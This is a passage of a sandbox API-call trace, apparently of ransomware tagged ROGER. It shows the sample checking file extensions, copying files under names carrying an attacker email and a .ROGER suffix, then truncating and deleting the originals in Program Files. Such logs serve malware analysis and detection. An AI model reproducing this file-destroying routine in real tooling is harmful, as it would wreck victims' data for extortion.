Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.138] lstrlenW (lpString=".jpg") returned 4 [0050.138] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.138] lstrlenW (lpString=".doc") returned 4 [0050.138] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString=".docx") returned 5 [0050.138] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.138] lstrlenW (lpString=".pdf") returned 4 [0050.138] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString=".xls") returned 4 [0050.138] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.138] lstrlenW (lpString=".xlsx") returned 5 [0050.138] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.138] lstrlenW (lpString=".ppt") returned 4 [0050.139] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.139] lstrlenW (lpString=".zip") returned 4 [0050.139] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString=".rar") returned 4 [0050.139] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString=".bz2") returned 4 [0050.139] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.139] lstrlenW (lpString=".7z") returned 3 [0050.139] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.139] lstrlenW (lpString=".dbf") returned 4 [0050.139] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.139] lstrlenW (lpString=".1cd") returned 4 [0050.139] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0050.139] lstrlenW (lpString=".jpg") returned 4 [0050.139] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.139] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.139] lstrlenW (lpString="VBUI6.CHM") returned 9 [0050.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.281] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=416918) returned 1 [0050.292] CloseHandle (hObject=0x340) returned 1 [0050.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0050.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.293] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.293] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0050.293] GetLastError () returned 0x0 [0050.293] ReadFile (in: hFile=0x340, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0050.302] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0050.308] ReadFile (in: hFile=0x340, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.308] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.308] SetEndOfFile (hFile=0x3ac) returned 1 [0050.309] CloseHandle (hObject=0x3ac) returned 1 [0050.309] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.309] SetEndOfFile (hFile=0x340) returned 1 [0050.312] CloseHandle (hObject=0x340) returned 1 [0050.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0050.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.313] lstrlenW (lpString=".doc") returned 4 [0050.313] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.313] lstrlenW (lpString=".docx") returned 5 [0050.313] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.313] lstrlenW (lpString=".pdf") returned 4 [0050.313] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.313] lstrlenW (lpString=".xls") returned 4 [0050.313] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.313] lstrlenW (lpString=".xlsx") returned 5 [0050.313] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.313] lstrlenW (lpString=".ppt") returned 4 [0050.313] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.313] lstrlenW (lpString=".zip") returned 4 [0050.313] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.313] lstrlenW (lpString=".rar") returned 4 [0050.313] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.313] lstrlenW (lpString=".bz2") returned 4 [0050.313] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.314] lstrlenW (lpString=".7z") returned 3 [0050.314] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.314] lstrlenW (lpString=".dbf") returned 4 [0050.314] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.314] lstrlenW (lpString=".1cd") returned 4 [0050.314] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.314] lstrlenW (lpString=".jpg") returned 4 [0050.314] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.314] lstrlenW (lpString=".doc") returned 4 [0050.314] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.314] lstrlenW (lpString=".docx") returned 5 [0050.314] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.314] lstrlenW (lpString=".pdf") returned 4 [0050.314] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.315] lstrlenW (lpString=".xls") returned 4 [0050.315] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.315] lstrlenW (lpString=".xlsx") returned 5 [0050.315] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.315] lstrlenW (lpString=".ppt") returned 4 [0050.315] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.315] lstrlenW (lpString=".zip") returned 4 [0050.315] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.315] lstrlenW (lpString=".rar") returned 4 [0050.315] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.315] lstrlenW (lpString=".bz2") returned 4 [0050.315] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.315] lstrlenW (lpString=".7z") returned 3 [0050.315] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.315] lstrlenW (lpString=".dbf") returned 4 [0050.315] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.315] lstrlenW (lpString=".1cd") returned 4 [0050.315] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0050.315] lstrlenW (lpString=".jpg") returned 4 [0050.315] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.315] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0050.315] lstrlenW (lpString="DissolveNoise.png") returned 17 [0050.315] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0050.418] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=751669) returned 1 [0050.418] CloseHandle (hObject=0x3e8) returned 1 [0050.419] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0050.419] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.419] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.419] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.419] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.419] lstrlenW (lpString=".doc") returned 4 [0050.419] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0050.419] lstrlenW (lpString=".docx") returned 5 [0050.419] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0050.419] lstrlenW (lpString=".pdf") returned 4 [0050.419] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0050.419] lstrlenW (lpString=".xls") returned 4 [0050.419] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0050.419] lstrlenW (lpString=".xlsx") returned 5 [0050.420] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0050.420] lstrlenW (lpString=".ppt") returned 4 [0050.420] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0050.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.420] lstrlenW (lpString=".zip") returned 4 [0050.420] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0050.420] lstrlenW (lpString=".rar") returned 4 [0050.420] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0050.420] lstrlenW (lpString=".bz2") returned 4 [0050.420] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0050.420] lstrlenW (lpString=".7z") returned 3 [0050.420] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0050.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.420] lstrlenW (lpString=".dbf") returned 4 [0050.420] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0050.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.420] lstrlenW (lpString=".1cd") returned 4 [0050.420] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0050.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.420] lstrlenW (lpString=".jpg") returned 4 [0050.420] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0050.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.420] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.420] lstrlenW (lpString=".doc") returned 4 [0050.420] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0050.420] lstrlenW (lpString=".docx") returned 5 [0050.420] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0050.420] lstrlenW (lpString=".pdf") returned 4 [0050.420] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0050.420] lstrlenW (lpString=".xls") returned 4 [0050.421] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0050.421] lstrlenW (lpString=".xlsx") returned 5 [0050.421] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0050.421] lstrlenW (lpString=".ppt") returned 4 [0050.421] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0050.421] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.421] lstrlenW (lpString=".zip") returned 4 [0050.421] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0050.421] lstrlenW (lpString=".rar") returned 4 [0050.421] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0050.421] lstrlenW (lpString=".bz2") returned 4 [0050.421] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0050.421] lstrlenW (lpString=".7z") returned 3 [0050.421] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.421] lstrlenW (lpString=".dbf") returned 4 [0050.421] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.421] lstrlenW (lpString=".1cd") returned 4 [0050.421] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0050.421] lstrlenW (lpString=".jpg") returned 4 [0050.421] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0050.421] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0050.421] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0050.421] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.971] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=11861) returned 1 [0050.971] CloseHandle (hObject=0x340) returned 1 [0050.971] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0050.972] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.015] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.021] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.022] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.023] lstrlenW (lpString=".doc") returned 4 [0051.026] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.027] lstrlenW (lpString=".docx") returned 5 [0051.028] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.029] lstrlenW (lpString=".pdf") returned 4 [0051.030] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.031] lstrlenW (lpString=".xls") returned 4 [0051.034] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.034] lstrlenW (lpString=".xlsx") returned 5 [0051.036] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.037] lstrlenW (lpString=".ppt") returned 4 [0051.038] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.039] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.039] lstrlenW (lpString=".zip") returned 4 [0051.040] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.041] lstrlenW (lpString=".rar") returned 4 [0051.042] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.042] lstrlenW (lpString=".bz2") returned 4 [0051.044] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.044] lstrlenW (lpString=".7z") returned 3 [0051.044] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.045] lstrlenW (lpString=".dbf") returned 4 [0051.045] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.045] lstrlenW (lpString=".1cd") returned 4 [0051.045] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.045] lstrlenW (lpString=".jpg") returned 4 [0051.045] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.045] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.045] lstrlenW (lpString=".doc") returned 4 [0051.045] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.045] lstrlenW (lpString=".docx") returned 5 [0051.045] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.045] lstrlenW (lpString=".pdf") returned 4 [0051.045] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.045] lstrlenW (lpString=".xls") returned 4 [0051.045] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.045] lstrlenW (lpString=".xlsx") returned 5 [0051.045] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.045] lstrlenW (lpString=".ppt") returned 4 [0051.045] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.045] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.045] lstrlenW (lpString=".zip") returned 4 [0051.045] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.045] lstrlenW (lpString=".rar") returned 4 [0051.045] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.045] lstrlenW (lpString=".bz2") returned 4 [0051.046] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.046] lstrlenW (lpString=".7z") returned 3 [0051.046] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.046] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.046] lstrlenW (lpString=".dbf") returned 4 [0051.046] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.046] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.046] lstrlenW (lpString=".1cd") returned 4 [0051.046] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.046] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0051.046] lstrlenW (lpString=".jpg") returned 4 [0051.046] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.046] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.046] lstrlenW (lpString="dotsdarkoverlay.png") returned 19 [0051.046] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.350] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=4563) returned 1 [0051.350] CloseHandle (hObject=0x388) returned 1 [0051.350] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0051.350] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.350] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.350] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.350] lstrlenW (lpString=".doc") returned 4 [0051.350] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.350] lstrlenW (lpString=".docx") returned 5 [0051.350] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0051.351] lstrlenW (lpString=".pdf") returned 4 [0051.351] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.351] lstrlenW (lpString=".xls") returned 4 [0051.351] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.351] lstrlenW (lpString=".xlsx") returned 5 [0051.351] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0051.351] lstrlenW (lpString=".ppt") returned 4 [0051.351] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.351] lstrlenW (lpString=".zip") returned 4 [0051.351] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.351] lstrlenW (lpString=".rar") returned 4 [0051.351] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.351] lstrlenW (lpString=".bz2") returned 4 [0051.351] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.351] lstrlenW (lpString=".7z") returned 3 [0051.351] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.351] lstrlenW (lpString=".dbf") returned 4 [0051.351] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.351] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned 68 [0051.351] lstrlenW (lpString=".1cd") returned 4 [0051.351] lstrcmpiW (lpString1=".1cd", 